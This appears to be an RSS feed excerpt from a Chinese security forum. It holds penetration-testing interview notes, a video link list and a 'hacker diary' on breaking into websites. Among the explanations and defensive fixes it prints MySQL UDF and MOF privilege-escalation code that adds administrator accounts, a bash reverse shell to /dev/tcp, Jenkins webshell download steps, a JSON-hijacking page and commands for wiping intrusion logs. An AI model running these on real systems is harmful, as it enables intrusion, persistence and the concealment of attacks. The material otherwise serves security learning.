<p>SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。</p>
<h2>检测</h2>
<p>SSRF漏洞的验证方法：</p>
<p>1）因为SSRF漏洞是让服务器发送请求的安全漏洞，所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的，从而来判断是否存在SSRF漏洞</p>
<p>2）在页面源码中查找访问的资源地址 ，如果该资源地址类型为 <a href="https://www.baidu.com/xxx.php?image=%EF%BC%88%E5%9C%B0%E5%9D%80%EF%BC%89%E7%9A%84%E5%B0%B1%E5%8F%AF%E8%83%BD%E5%AD%98%E5%9C%A8SSRF%E6%BC%8F%E6%B4%9E" target="_blank" rel="noopener noreferrer">www.baidu.com/xxx.php?image=（地址）的就可能存在SSRF漏洞 4</a></p>
<h2>SSRF漏洞的成因 防御 绕过</h2>
<p>成因：模拟服务器对其他服务器资源进行请求，没有做合法性验证。 利用：构造恶意内网IP做探测，或者使用其余所支持的协议对其余服务进行攻击。 防御：禁止跳转，限制协议，内外网限制，URL限制。 绕过：使用不同协议，针对IP，IP格式的绕过，针对URL，恶意URL增添其他字符，@之类的。301跳转+dns rebindding。</p>
<h1>上传</h1>
<h2>文件上传漏洞原理</h2>
<p>由于程序员在对用户文件上传部分的控制不足或者处理缺陷，而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件</p>
<h2>常见的上传绕过方式</h2>
<ul>
<li>前端js验证：禁用js/burp改包</li>
<li>大小写</li>
<li>双重后缀名</li>
<li>过滤绕过 pphphp-&gt;php</li>
</ul>
<h2>防护</h2>
<ul>
<li>文件上传目录设置为不可执行</li>
<li>使用白名单判断文件上传类型</li>
<li>用随机数改写文件名和路径</li>
</ul>
<h2>审查上传点的元素有什么意义？</h2>
<p>有些站点的上传文件类型的限制是在前端实现的，这时只要增加上传类型就能突破限制了。</p>
<h1>文件包含</h1>
<h2>原理</h2>
<p>引入一段用户能控制的脚本或代码，并让服务器端执行 （1）include()等函数通过动态变量的方式引入需要包含的文件； （2）用户能够控制该动态变量。</p>
<h2>导致文件包含的函数</h2>
<p>PHP：include(), include_once(), require(), re-quire_once(), fopen(), readfile(), … JSP/Servlet：ava.io.File(), java.io.Fil-eReader(), … ASP：include file, include virtual,</p>
<h2>本地文件包含</h2>
<p>能够打开并包含本地文件的漏洞，被称为本地文件包含漏洞</p>
<h1>XXE</h1>
<h1>逻辑漏洞</h1>
<h2>金融行业常见逻辑漏洞</h2>
<p>单针对金融业务的 主要是数据的篡改(涉及金融数据，或部分业务的判断数据)，由竞争条件或者设计不当引起的薅羊毛，交易/订单信息泄露，水平越权对别人的账户查看或恶意操作，交易或业务步骤绕过。</p>
<h1>溢出</h1>
<h1>中间人攻击</h1>
<p>中间人攻击是一个（缺乏）相互认证的攻击；由于客户端与服务器之间在SSL握手的过程中缺乏相互认证而造成的漏洞</p>
<p>防御中间人攻击的方案通常基于一下几种技术</p>
<p>1.公钥基础建设PKI 使用PKI相互认证机制，客户端验证服务器，服务器验证客户端；上述两个例子中都是只验证服务器，这样就造成了SSL握手环节的漏洞，而如果使用相互认证的的话，基本可以更强力的相互认证</p>
<p>2.延迟测试</p>
<p>使用复杂加密哈希函数进行计算以造成数十秒的延迟；如果双方通常情况下都要花费20秒来计算，并且整个通讯花费了60秒计算才到达对方，这就能表明存在第三方中间人。</p>
<p>3.使用其他形式的密钥交换形式</p>
<h2>ARP欺骗</h2>
<h3>原理:</h3>
<p>每台主机都有一个ARP缓存表，缓存表中记录了IP地址与MAC地址的对应关系，而局域网数据传输依靠的是MAC地址。 在ARP缓存表机制存在一个缺陷，就是当请求主机收到ARP应答包后，不会去验证自己是否向对方主机发送过ARP请求包，就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中，如果原有相同IP对应关系，原有的则会被替换。这样攻击者就有了偷听主机传输的数据的可能</p>
<h3>防护</h3>
<p>1.在主机绑定网关MAC与IP地址为静态（默认为动态），命令：arp -s 网关IP 网关MAC</p>
<p>2.在网关绑定主机MAC与IP地址</p>
<p>3.使用ARP防火墙</p>
<h1>DDOS</h1>
<h2>Ddos原理</h2>
<p>利用合理的请求造成资源过载，导致服务不可用</p>
<h3>syn洪流的原理</h3>
<p>伪造大量的源IP地址，分别向服务器端发送大量的SYN包，此时服务器端会返回SYN/ACK包，因为源地址是伪造的，所以伪造的IP并不会应答，服务器端没有收到伪造IP的回应，会重试3～5次并且等待一个SYNTime（一般为30秒至2分钟），如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的SYN请求，服务器端将会消耗非常多的资源（CPU和内存）来处理这种半连接，同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的连接请求，导致拒绝服务。</p>
<h3>CC攻击原理</h3>
<p>对一些消耗资源较大的应用页面不断发起正常的请求，以达到消耗服务端资源的目的。</p>
<h2>DDOS防护</h2>
<p>SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是为每一个IP地址分配一个“Cookie”，并统计每个IP地址的访问频率。如果在短时间内收到大量的来自同一个IP地址的数据包，则认为受到攻击，之后来自这个IP地址的包将被丢弃。</p>
<h1>提权</h1>
<h2>mysql两种提权方式</h2>
<p>udf提权,mof提权</p>
<h3>Mysql_UDF提权</h3>
<p>要求: 1.目标系统是Windows(Win2000,XP,Win2003)； 2.拥有MYSQL的某个用户账号，此账号必须有对mysql的insert和delete权限以创建和抛弃函数 3.有root账号密码 导出udf: MYSQL 5.1以上版本，必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数 可以再mysql里输入 <code>select @@basedir</code> <code>show variables like ‘%plugins%’</code> 寻找mysql安装路径 提权:</p>
<p>使用SQL语句创建功能函数。语法：Create Function 函数名（函数名只能为下面列表中的其中之一）returns string soname ‘导出的DLL路径’；</p>
<pre class="ql-syntax"><span class="hljs-keyword">create</span> <span class="hljs-keyword">function</span> cmdshell <span class="hljs-keyword">returns</span> <span class="hljs-keyword">string</span> <span class="hljs-keyword">soname</span> ‘udf.dll’
<span class="hljs-keyword">select</span> cmdshell(‘net <span class="hljs-keyword">user</span> arsch arsch /<span class="hljs-keyword">add</span>’);
<span class="hljs-keyword">select</span> cmdshell(‘net localgroup administrators arsch /<span class="hljs-keyword">add</span>’);

<span class="hljs-keyword">drop</span> <span class="hljs-keyword">function</span> cmdshell;
</pre>
<p>该目录默认是不存在的，这就需要我们使用webshell找到MYSQL的安装目录，并在安装目录下创建lib\plugin文件夹，然后将udf.dll文件导出到该目录即可。</p>
<h3>Mysql mof提权</h3>
<pre class="ql-syntax"><span class="hljs-comment">#pragma namespace("\\\\.\\root\\subscription")</span>

instance of __EventFilter as $EventFilter
{
EventNamespace = <span class="hljs-string">"Root\\Cimv2"</span>;
Name  = <span class="hljs-string">"filtP2"</span>;
Query = <span class="hljs-string">"Select * From __InstanceModificationEvent "</span>
<span class="hljs-string">"Where TargetInstance Isa \"Win32_LocalTime\" "</span>
<span class="hljs-string">"And TargetInstance.Second = 5"</span>;
QueryLanguage = <span class="hljs-string">"WQL"</span>;
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = <span class="hljs-string">"consPCSV2"</span>;
ScriptingEngine = <span class="hljs-string">"JScript"</span>;
ScriptText =
<span class="hljs-string">"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")"</span>;
};

instance of __FilterToConsumerBinding
{
Consumer   = $Consumer;
Filter = $EventFilter;
};
</pre>
<p>其中的第18行的命令，上传前请自己更改。</p>
<p>2、执行load_file及into dumpfile把文件导出到正确的位置即可。</p>
<pre class="ql-syntax"><span class="hljs-keyword">select</span> <span class="hljs-keyword">load</span> <span class="hljs-keyword">file</span>(<span class="hljs-string">'c:/wmpub/nullevt.mof'</span>) <span class="hljs-keyword">into</span> <span class="hljs-keyword">dumpfile</span> <span class="hljs-string">'c:/windows/system32/wbem/mof/nullevt.mov'</span>
</pre>
<p>执行成功后，即可添加一个普通用户，然后你可以更改命令，再上传导出执行把用户提升到管理员权限，然后3389连接之就ok了。</p>
<h1>特殊漏洞</h1>
<h2>Struts2-045</h2>
<h2>Redis未授权访问</h2>
<h3>产生原因</h3>
<p>Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将 Redis 服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法，可以成功在 Redis 服务器上写入公钥，进而可以使用对应私钥直接登录目标服务器</p>
<h3>利用条件和方法</h3>
<p>条件:</p>
<ol>
<li>redis服务以root账户运行</li>
<li>redis无密码或弱密码进行认证</li>
<li>redis监听在0.0.0.0公网上</li>
</ol>
<p>方法:</p>
<ul>
<li>通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫</li>
<li>上传SSH公钥获得SSH登录权限</li>
<li>通过crontab反弹shell</li>
<li>slave主从模式利用</li>
</ul>
<h3>修复</h3>
<ul>
<li>密码验证</li>
<li>降权运行</li>
<li>限制ip/修改端口</li>
</ul>
<h2>Jenkins未授权访问</h2>
<p>攻击者通过未授权访问进入脚本命令执行界面执行攻击指令</p>
<p><code>println "ifconfig -a".execute().text</code> 执行一些系统命令,利用wget下载webshell</p>
<h2>MongoDB未授权访问</h2>
<p>开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,而且可以远程访问数据库，登录的用户可以通过默认端口无需密码对数据库进行增、删、改、查等任意高危操作。</p>
<h3>防护</h3>
<p>1、为MongoDB添加认证： 1)MongoDB启动时添加–auth参数 2)给MongoDB添加用户： use admin #使用admin库 db.addUser(“root”, “123456”) #添加用户名root密码123456的用户 db.auth(“root”,“123456”) #验证下是否添加成功，返回1说明成功 2、禁用HTTP和REST端口 MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务，一般不需要通过web方式进行远程管理，建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface=false 3、限制绑定IP 启动时加入参数 –bind_ip 127.0.0.1 或在/etc/mongodb.conf文件中添加以下内容： bind_ip = 127.0.0.1</p>
<h2>Memcache未授权访问</h2>
<p>Memcached是一套常用的key-value缓存系统，由于它本身没有权限控制模块，所以对公网开放的Memcache服务很容易被攻击者扫描发现，攻击者通过命令交互可直接读取Memcached中的敏感信息。</p>
<h3>利用</h3>
<p>1、登录机器执行netstat -an |more命令查看端口监听情况。回显0.0.0.0:11211表示在所有网卡进行监听，存在memcached未授权访问漏洞。</p>
<p>2、telnet 11211，或nc -vv 11211，提示连接成功表示漏洞存在</p>
<h3>漏洞加固</h3>
<ul>
<li>1、设置memchached只允许本地访问</li>
<li>2、禁止外网访问Memcached 11211端口</li>
<li>3、编译时加上–enable-sasl，启用SASL认证</li>
</ul>
<h2>FFMPEG 本地文件读取漏洞</h2>
<h3>原理</h3>
<p>通过调用加密API将payload加密放入一个会被执行的段字节中。但是具体回答工程中我只回答道了SSRF老洞，m3u8头，偏移量，加密。</p>
<h1>安全知识</h1>
<h2>WEB</h2>
<h3>常用WEB开发JAVA框架</h3>
<p>STRUTS,SPRING 常见的java框架漏洞 其实面试官问这个问题的时候我不太清楚他要问什么，我提到struts的045 048，java常见反序列化。 045 错误处理引入了ognl表达式 048 封装action的过程中有一步调用getstackvalue递归获取ognl表达式 反序列化 操作对象，通过手段引入。apache common的反射机制、readobject的重写，其实具体的我也记不清楚。。。然后这部分就结束了</p>
<h3>同源策略</h3>
<p>同源策略限制不同源对当前document的属性内容进行读取或设置。 不同源的区分：协议、域名、子域名、IP、端口，以上有不同时即不同源。</p>
<h3>Jsonp安全攻防技术，怎么写Jsonp的攻击页面？</h3>
<h4>涉及到Jsonp的安全攻防内容</h4>
<p>JSON劫持、Callback可定义、JSONP内容可定义、Content-type不为json。</p>
<h4>攻击页面</h4>
<p>JSON劫持，跨域劫持敏感信息，页面类似于</p>
<pre class="ql-syntax"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">wooyun</span>(<span class="hljs-params">v</span>)</span>{
alert(v.username);
}
script&gt;
<span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"http://js.login.360.cn/?o=sso&amp;m=info&amp;func=wooyun"</span>&gt;</span>script&gt;
</pre>
<p>Content-type不正确情况下，JSONP和Callback内容可定义可造成XSS。 JSONP和FLASH及其他的利用参照知道创宇的JSONP安全攻防技术。</p>
<h2>PHP</h2>
<h3>php中命令执行涉及到的函数</h3>
<p>1，代码执行：eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function() 2，文件读取：file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等 3，命令执行：system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()</p>
<h3>安全模式下绕过php的disable fuction</h3>
<p>DL函数，组件漏洞，环境变量。</p>
<h3>PHP弱类型</h3>
<p><code>==</code> 在进行比较的时候，会先将字符串类型转化成相同，再比较</p>
<p>如果比较一个数字和字符串或者比较涉及到数字内容的字符串，则字符串会被转换成数值并且比较按照数值来进行</p>
<p><code>0e</code>开头的字符串等于0</p>
<h2>数据库</h2>
<h3>各种数据库文件存放的位置</h3>
<p>mysql:<code>/usr/local/mysql/data/</code> <code>C:\ProgramData\MySQL\MySQL Server 5.6\Data\</code> oracle:<code>$ORACLE_BASE/oradata/$ORACLE_SID/</code></p>
<h2>系统</h2>
<h3>如何清理日志</h3>
<p>meterpreter: <code>clearev</code></p>
<h3>入侵 Linux 服务器后需要清除哪些日志？</h3>
<p>web日志，如apache的access.log,error.log。 直接将日志清除过于明显,一般使用sed进行定向清除</p>
<p>e.g. sed -i -e ‘/192.169.1.1/d’</p>
<p>history命令的清除，也是对~/.bash_history进行定向清除</p>
<p>wtmp日志的清除，/var/log/wtmp</p>
<p>登录日志清除 /var/log/secure</p>
<h3>LINUX</h3>
<h4>查看当前端口连接的命令有哪些？<code>netstat</code> 和 <code>ss</code> 命令的区别和优缺点</h4>
<pre class="ql-syntax">netstat -antp` `ss -l
</pre>
<p>ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息，而且比netstat更快速更高效。</p>
<h4>反弹 shell 的常用命令？一般常反弹哪一种 shell？为什么?</h4>
<pre class="ql-syntax">bash -i&gt;&amp;<span class="hljs-regexp">/dev/tcp/x.x.x.x/</span><span class="hljs-number">4444</span> <span class="hljs-number">0</span>&gt;&amp;<span class="hljs-number">1</span>
</pre>
<h4>通过Linux系统的/proc目录 ，能够获取到哪些信息，这些信息可以在安全上有哪些应用？</h4>
<pre class="ql-syntax"><span class="hljs-attribute">ls</span> /proc
</pre>
<p>系统信息，硬件信息，内核版本，加载的模块，进程</p>
<h4>linux系统中，检测哪些配置文件的配置项，能够提升SSH的安全性。</h4>
<p><code>/etc/ssh/sshd___config</code> iptables配置</p>
<h4>如何一条命令查看文件内容最后一百行</h4>
<pre class="ql-syntax"><span class="hljs-attribute">tail</span> -n <span class="hljs-number">100</span> filename
</pre>
<h3>Windows</h3>
<h4>如何加固一个域环境下的Windows桌面工作环境？请给出你的思路。</h4>
<h2>密码学</h2>
<h3>AES／DES的具体工作步骤</h3>
<h3>RSA算法</h3>
<p>加密: $$ 密文＝明文^EmodN $$ RSA加密是对明文的E次方后除以N后求余数的过程</p>
<p>$$ 公钥＝(E,N) $$ 解密:</p>
<p>$$ 明文＝密文^DmodN $$ $$ 私钥＝(D,N) $$ 三个参数n,e1,e2</p>
<p>n是两个大质数p,q的积</p>
<h3>分组密码的加密模式</h3>
<h3>如何生成一个安全的随机数？</h3>
<p>引用之前一个学长的答案，可以通过一些物理系统生成随机数，如电压的波动、磁盘磁头读/写时的寻道时间、空中电磁波的噪声等。</p>
<h3>SSL握手过程</h3>
<p>建立TCP连接、客户端发送SSL请求、服务端处理SSL请求、客户端发送公共密钥加密过的随机数据、服务端用私有密钥解密加密后的随机数据并协商暗号、服务端跟客户端利用暗号生成加密算法跟密钥key、之后正常通信。 这部分本来是忘了的，但是之前看SSL Pinning的时候好像记了张图在脑子里，挣扎半天还是没敢确定，遂放弃。。。</p>
<h3>对称加密与非对称加密的不同，分别用在哪些方面</h3>
<h2>TCP/IP</h2>
<h3>TCP三次握手的过程以及对应的状态转换</h3>
<p>（1）客户端向服务器端发送一个SYN包，包含客户端使用的端口号和初始序列号x;</p>
<p>（2）服务器端收到客户端发送来的SYN包后，向客户端发送一个SYN和ACK都置位的TCP报文，包含确认号xx1和服务器端的初始序列号y;</p>
<p>（3）客户端收到服务器端返回的SYNSACK报文后，向服务器端返回一个确认号为yy1、序号为xx1的ACK报文，一个标准的TCP连接完成。</p>
<h3>TCP和UDP协议区别</h3>
<p>tcp面向连接,udp面向报文 tcp对系统资源的要求多 udp结构简单 tcp保证数据完整性和顺序，udp不保证</p>
<h3>https的建立过程</h3>
<ul>
<li>客户端发送请求到服务器端</li>
<li>服务器端返回证书和公开密钥，公开密钥作为证书的一部分而存在</li>
<li>客户端验证证书和公开密钥的有效性，如果有效，则生成共享密钥并使用公开密钥加密发送到服务器端</li>
<li>服务器端使用私有密钥解密数据，并使用收到的共享密钥加密数据，发送到客户端</li>
<li>客户端使用共享密钥解密数据</li>
<li>SSL加密建立</li>
</ul>
<h2>流量分析</h2>
<h3>wireshark简单的过滤规则</h3>
<p><strong>过滤ip</strong>:</p>
<p>过滤源ip地址:<code>ip.src==1.1.1.1;</code>,目的ip地址:<code>ip.dst==1.1.1.1;</code></p>
<p><strong>过滤端口</strong>:</p>
<p>过滤80端口:<code>tcp.port==80</code>,源端口:<code>tcp.srcport==80</code>,目的端口:<code>tcp.dstport==80</code></p>
<p><strong>协议过滤</strong>:</p>
<p>直接输入协议名即可,如http协议<code>http</code></p>
<p><strong>http模式过滤</strong>:</p>
<p>过滤get/post包<code>http.request.mothod=="GET/POST"</code></p>
<h2>防火墙</h2>
<h3>简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项，以及配置方法。</h3>]]></content:encoded>
						                            <category domain="https://itprosec.com/community/pen-testing/">Pen Testing</category>                        <dc:creator>tai chi</dc:creator>
                        <guid isPermaLink="true">https://itprosec.com/community/pen-testing/2019%e5%b9%b4%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95%e6%80%9d%e8%b7%af%e5%8f%8a%e9%9d%a2%e8%af%95%e9%97%ae%e9%a2%98%e9%9b%86%e9%94%a6/</guid>
                    </item>
				                    <item>
                        <title>渗透测试 视频 收集</title>
                        <link>https://itprosec.com/community/pen-testing/%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95-%e8%a7%86%e9%a2%91-%e6%94%b6%e9%9b%86/</link>
                        <pubDate>Sat, 16 May 2020 15:06:30 +0000</pubDate>
                        <description><![CDATA[黑客攻防 从入门到入狱【网络安全】


【零基础入门】走进网络安全新时代（渗透，白帽子，黑客攻防）]]></description>
                        <content:encoded><![CDATA[<ul>
<li class="video-title" title="黑客攻防 从入门到入狱【网络安全】"><span class="tit">黑客攻防 从入门到入狱【网络安全】</span></li>
</ul>
<p><a href="https://www.bilibili.com/video/BV1E4411L7zS?from=search&amp;seid=2856296347623801536">https://www.bilibili.com/video/BV1E4411L7zS</a></p>
<ul>
<li class="video-title" title="【零基础入门】走进网络安全新时代（渗透，白帽子，黑客攻防）4.7 持续更新..."><span class="tit tr-fix">【零基础入门】走进网络安全新时代（渗透，白帽子，黑客攻防）</span></li>
</ul>
<p><a href="https://www.bilibili.com/video/BV1Y7411f7E4?p=1">https://www.bilibili.com/video/BV1Y7411f7E4?p=1</a></p>
<p> </p>
<p> </p>]]></content:encoded>
						                            <category domain="https://itprosec.com/community/pen-testing/">Pen Testing</category>                        <dc:creator>tai chi</dc:creator>
                        <guid isPermaLink="true">https://itprosec.com/community/pen-testing/%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95-%e8%a7%86%e9%a2%91-%e6%94%b6%e9%9b%86/</guid>
                    </item>
				                    <item>
                        <title>黑客渗透日记: 入侵网站思路</title>
                        <link>https://itprosec.com/community/pen-testing/%e9%bb%91%e5%ae%a2%e6%b8%97%e9%80%8f%e6%97%a5%e8%ae%b0-%e5%85%a5%e4%be%b5%e7%bd%91%e7%ab%99%e6%80%9d%e8%b7%af/</link>
                        <pubDate>Mon, 06 Apr 2020 02:26:35 +0000</pubDate>
                        <description><![CDATA[针对新手写一点渗透的小思路、小技巧，主要讲的是思路，所有不会太详细。经常逛一些好的博客或者门户站，坚持下来，每天学一点思路，你会积累到很多东西，记住：技术需要时间沉淀。（一）针对网站程序，不考虑服务器。一、查找注入，注意数据库用户权限和站库是否同服。二、查找XSS，最近盲打很流行，不管怎样我们的目的是进入后台。三、查找上传，一些能上传的页面，比如申请友链、会员头像、和一些敏感页...]]></description>
                        <content:encoded><![CDATA[<p><span>针对新手写一点渗透的小思路、小技巧，主要讲的是思路，所有不会太详细。经常逛一些好的博客或者门户站，坚持下来，每天学一点思路，你会积累到很多东西，记住：技术需要时间沉淀。</span><br /><br /><span>（一）针对网站程序，不考虑服务器。</span><br /><span>一、查找注入，注意数据库用户权限和站库是否同服。</span><br /><span>二、查找XSS，最近盲打很流行，不管怎样我们的目的是进入后台。</span><br /><span>三、查找上传，一些能上传的页面，比如申请友链、会员头像、和一些敏感页面等等，注意查看验证方式是否能绕过，注意结合服务器的解析特性，比如典型的IIS6.0、阿帕奇等。</span><br /><span>四、查找编辑器，比较典型的ewebeditor、fckeditor等等。</span><br /><span>五、查找phpmyadmin等管理程序，可以尝试弱口令，或者寻找其漏洞。</span><br /><span>六、百度、谷歌搜索程序公开漏洞。</span><br /><span>七、猜解文件，如知道某文件为admin_login.php,我们可尝试admin_add.php、admin_upload.php文件是否存在，也可以谷歌搜索site:exehack.net inurl:edit等等，很多时候可以找到一些敏感文件，接着看是否验证权限或能否绕过验证。</span><br /><span>八、会员注册、修改、删除、评论等一切需要操作数据库的地方记得加单引号之类查看是否存在insert、update等类型注入。</span><br /><span>九、会员或低权限管理登陆后可</span><a class="gj_safe_a" href="http://www.hackerbbs.cc/forum.php?mod=forumdisplay&amp;fid=48" target="_blank" rel="noopener"><strong>抓包分析</strong></a><span>，尝试修改超级管理员密码，权限提升。</span><br /><span>十、通常有下载功能的站我们可以尝试修改下URL文件名，看能否下载站点敏感文件，如数据库配置文件等，数据库不可外连情况下可以尝试数据库密码登陆后台，也可下载上传、登陆验证等文件进行代码审计。</span><br /><span>十一、备份文件和后门，某些主站子目录存在分站，比如</span><a class="gj_safe_a" href="http://www.hackerbbs.cc/#" target="_blank" rel="noopener">www.2cto.com/software</a><span>，我们可以尝试</span><a class="gj_safe_a" href="http://www.hackerbbs.cc/#" target="_blank" rel="noopener">www.2cto.com/software.zip/zip</a><span>等压缩文件是否存在，可能就是子站的源码。也有一些站类似这样</span><a class="gj_safe_a" href="http://www.hackerbbs.cc/#" target="_blank" rel="noopener">www.2cto.com/old/</a><span>，一般都是以前的老站，通常老站会比较容易拿。还有就是数据库备份、前人的后门等，具体这些目录上的东西就要看你的字典了。</span><br /><span>十二、0day漏洞，不管是别人给你的，还是自己挖的，总之好使就行。</span><br /><span>（二）针对服务器一、通常先扫下服务器开放的端口，再考虑对策。</span><br /><span>二、比较常见的解析漏洞，比如IIS6.0、阿帕奇、nginx/IIS7.0(php-fpm)解析漏洞等，还有就是cer、asa之类的解析，.htaccess文件解析配置等。</span><br /><span>三、弱口令和everyone权限，先扫描服务器开放的端口，比如21对应的FTP、1433对应的MSSQL、3306对应的MYSQL、3389对应的远程桌面、1521对应的Oracle等等，平时可以多搜集下字典，有时候效果也是不错的(通常在cain嗅探的时候，经常能嗅到别人不停的扫…很蛋疼)。</span><br /><span>四、溢出，这点要看系统补丁和服务器使用的软件等等，比如FTP等工具，这里不详解。</span><br /><span>五、针对一些服务器管理程序，比如tomcat、jboss等等，这种比较常见于大中型的站点服务器。</span><br /><span>六、IIS、apache等各种漏洞，这个要平时多关注。</span><br /><span>七、目录浏览，服务器配置不当，可直接浏览目录。</span><br /><span>八、共享…</span><br /><span>（三）针对人，社工社工在渗透中通常能起到惊人的效果，主要还是利用人的弱点，博大精深，这里不详细讨论，注意平时多看一些</span><a class="gj_safe_a" href="http://www.hackerbbs.cc/forum.php?mod=forumdisplay&amp;fid=50" target="_blank" rel="noopener"><strong>社工</strong></a><span>文章，学习一些思路、技巧。</span><br /><span>你是否曾幻想，畅游网络之间，指尖在键盘之上游走，思维在代码之中穿梭，弹指间，尽显英雄本色？你是否曾幻想，藏身于黑暗之中，凌驾于众人之上，在网络世界来去无踪，惩恶扬善？你是否曾幻想，以鼠标为长剑，以技术为功法，以代码为招式，谈笑间，网络世界早已风起云涌？你不是在做梦，这是一场网络黑白之间的指尖盛宴，不要放弃幻想，因为，这一切，你都可以做到！</span><br /><span>每一本武功秘籍的现世，都预示着一场武林纷争，都引领着一场腥风血雨，每一把绝世好剑的铸成，都象征着一次血染长河，都伴随着众多英雄泣血。然而武侠的时代早已过去，黑客的时代正在到来。很幸运，你没有生在一个怀璧其罪的年代，相反，你处在一个充满机遇的时代，你处在一个提倡共享的大数据时代。</span><br /><span>（四）迂回战术，旁注和C段一、旁注，针对旁站，我们可以运用到上面说到的方法，这里不多说。二、C段，基本想到C段就会想到cain，针对C段的站点和服务器，结合上面说的针对目标站、服务器、人、旁站的思路，一个道理，当然如果你的目的仅仅是黑站的话，不妨试试NetFuke之类。三、…</span><br /><span>（五）提权常用手段一、使用系统溢出提权EXP，这类在提权中最常用，使用的方法大都一致，比如比较常见的巴西烤肉、pr等等，溢出提权通常在Linux上也利用的比较多，注意多收集EXP。</span><br /><span>二、第三方软件提权，主要还是利用服务器上安装的第三方软件拥有比较高的权限，或者软件的溢出漏洞，比如典型的mssql、mysql、serv-u等等，还有各种远程控制软件，比如pcanywhere、Radmin这类。</span><br /><span>三、劫持提权，说到这个，想必肯定会想到lpk.dll这类工具，有时候在蛋疼怎么都加不上账户的时候，可以试试劫持shift、添加开机启动等等思路。</span><br /><span>四、弱口令技巧，我们可以看看有木有什么hack、或者隐藏账户之类的，一般这种用户密码都比较简单，可以尝试下弱口令，还有之前说过的各种数据库、</span><a class="gj_safe_a" href="http://www.hackerbbs.cc/forum.php?mod=forumdisplay&amp;fid=84" target="_blank" rel="noopener"><strong>远程控制软件</strong></a><span>、FTP软件的弱口令，没办法的时候就去扫扫碰碰运气吧。</span><br /><span>五、信息收集，注意翻下硬盘各种文档，说不定各种密码就在里面。在内网渗透时，信息收集是非常重要的，记得拿下服务器了GET一下明文密码，德国那个mimikatz不错，还有就是域、ARP。。。貌似扯多跑题了。</span><br /><span>六、社工…不多说。暂时总结到这里，渗透博大精深，不是这么几段字就能说清楚的，具体还是要看具体情形，随机应变。一定要养成在渗透过程中信息收集的好习惯，特别是针对大中型站点，注意收集子站域名、目录、密码等等敏感信息，这对于我们后面的渗透非常有用，内网经常弱口令，同密码比较多。很多时候，或许一个主站就死在子站的一个小漏洞上。</span></p>]]></content:encoded>
						                            <category domain="https://itprosec.com/community/pen-testing/">Pen Testing</category>                        <dc:creator>tai chi</dc:creator>
                        <guid isPermaLink="true">https://itprosec.com/community/pen-testing/%e9%bb%91%e5%ae%a2%e6%b8%97%e9%80%8f%e6%97%a5%e8%ae%b0-%e5%85%a5%e4%be%b5%e7%bd%91%e7%ab%99%e6%80%9d%e8%b7%af/</guid>
                    </item>
							        </channel>
        </rss>
		